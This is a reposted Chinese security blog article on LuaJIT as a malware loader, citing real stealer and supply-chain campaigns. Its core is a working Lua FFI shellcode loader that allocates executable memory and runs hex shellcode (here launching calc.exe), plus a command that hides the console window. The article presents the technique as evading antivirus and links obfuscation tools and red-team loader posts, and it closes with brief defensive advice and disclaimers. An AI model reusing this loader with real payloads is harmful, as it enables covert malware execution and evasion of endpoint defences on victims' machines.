Lua作为攻击载体的技术分析

admin 2026-03-26 00:20:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章分析了攻击者利用合法解释器LuaJIT作为攻击载荷加载器的技术。详细介绍了编译LuaJIT、转换为GUI程序及利用FFI调用API执行Shellcode的具体方法,展示了其绕过传统杀软检测的能力。文章还提及混淆与反混淆技术,指出此类攻击常伪装成破解软件,建议采取数据工具分离与虚拟机隔离等防御措施。 综合评分: 88 文章分类: 红队,恶意软件,渗透测试,安全建设


cover_image

Lua作为攻击载体的技术分析

原创

陆安予 陆安予

白帽子安全笔记2.0

2026年3月24日 14:38 江苏

最近研究发现LUA出现的频率较高,来看下怎么回事。

一、背景

观察到全球攻击趋势开始使用合法SaaS平台进行隐蔽通信,已经从中心化部署(部署在服务器)到去中心化:

[命令与控制(C2)的演进:从中心化到链上(On-Chain)](https://mp.weixin.qq.com/s/zon5sH5_uERDq6TRSvJm_w)
[LOLFSaaS](https://github.com/lolfsaas/lolfsaas.github.io)

在加载器方面则转向使用合法的解释器例如LUA。我找到许多案例,有使用宏的,使用msi…包括之前的notepad++供应链攻击(我不用这个)

[Windows | 利用Lua加载StealC v2窃密攻击活动分析](https://mp.weixin.qq.com/s/sKHq_epYhO2UDeX4f4wpXA)
[致命分身 | FakeGit 伪造开源生态投毒活动追踪](https://mp.weixin.qq.com/s/yfRs2ZmiunQ7MjHoHDho2w)
[GitHub托管的SmartLoader——伪装成合法项目感染用户](https://cyberpress.org/github-hosted-smartloader/)
[PoetRAT:针对阿塞拜疆公共和私营部门的恶意软件不断演变](https://blog.talosintelligence.com/poetrat-update/)
[Redline Stealer:一种新颖的方法](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/redline-stealer-a-novel-approach/)
[Notepad++供应链攻击——未被察觉的执行链和新型入侵指标](https://securelist.com/notepad-supply-chain-attack/118708/)
[JIT 事件:揭露野外 LuaJIT 恶意软件](https://www.securityblue.team/blog/posts/jit-happens-exposing-luajit-malware-in-the-wild)

平台部分比较复杂,先来看下lua。

二、LuaJIT

工具从github下载并编译,直接在根目录使用make编译:

https://github.com/LuaJIT/LuaJIT

已编译的luajit.exe和lua51.dll

新建一个记事本,弹出计算器是一切的开始:

luajit.exe calc.txt

lua执行系统命令

编译的luajit.exe默认是控制台,使用如下命令转换为GUI:

objcopy --subsystem windows luajit.exe luajit_gui.exe

这是一个LUA有效载荷加载器,将bin文件转换为16进制格式并执行,由于它是合法程序和静态文件,超出了传统杀毒软件引擎检测范畴,因此难以被检测。

luajit.exe loader.txt

lua加载器

local ffi = require("ffi")

local sc_hex = "fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500"
local sc = sc_hex:gsub("%s+",""):gsub("(..)",function(h)return string.char(tonumber(h,16))end)

ffi.cdef[[
    void* VirtualAlloc(void*, size_t, int, int);
    void* CreateThread(void*, size_t, void*, void*, int, void*);
    int WaitForSingleObject(void*, int);
]]

local k = ffi.load("kernel32")
local m = k.VirtualAlloc(nil, #sc, 0x3000, 0x40)
ffi.copy(m, sc, #sc)
local thread = k.CreateThread(nil, 0, m, nil, 0, nil)
k.WaitForSingleObject(thread, 0xFFFFFFFF)

lua没有数字签名,这可能也是notepad事件中使用ProShow的原因,可能具有有效的数字签名,但同样能够加载lua脚本。

lua和python一样,可轻松混淆,例如使用Prometheus进行混淆,但该工具可以反混淆:

lua执行混淆的代码

#lua混淆
https://wearedevs.net/obfuscator
#反混淆
https://github.com/0x251/Prometheus-Deobfuscator

三、防御

多种信息表明,这类通常伪装成破解软件、游戏外挂、开发工具较多,你下回来一个ZIP,里面有个luajit.exe加个README.md,最佳建议是数据和工具分离,操作在虚拟机中运行,数据存在本地。

四、免责声明

本文涉及方案仅限合法授权的安全研究、渗透测试用途,使用者须确保符合《网络安全法》及相关法规。具体条款如下:

  • • 仅可用于已获得书面授权的目标系统测试;
  • • 遵守法律法规,不得用于侵犯他人隐私或数据窃取;

本人不承担因用户滥用本软件导致的任何后果。使用即视为同意并接受上述条款。


推荐阅读

  • • [更新]红队加载器LoaderV5
  • • [更新]红队加载器LoaderV4
  • • [更新]红队加载器LoaderV3
  • • 攻防必备,DLL代理自动化生成
  • • 攻防必备,DLL侧载(白加黑)自动化生成
  • • 采用黑白名单匹配进行反沙箱
  • • [0day]新挖掘到一套高级LNK快捷方式
  • • DLL侧载和DLL代理

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:白帽子安全笔记2.0 陆安予 陆安予《Lua作为攻击载体的技术分析》

评论:0   参与:  0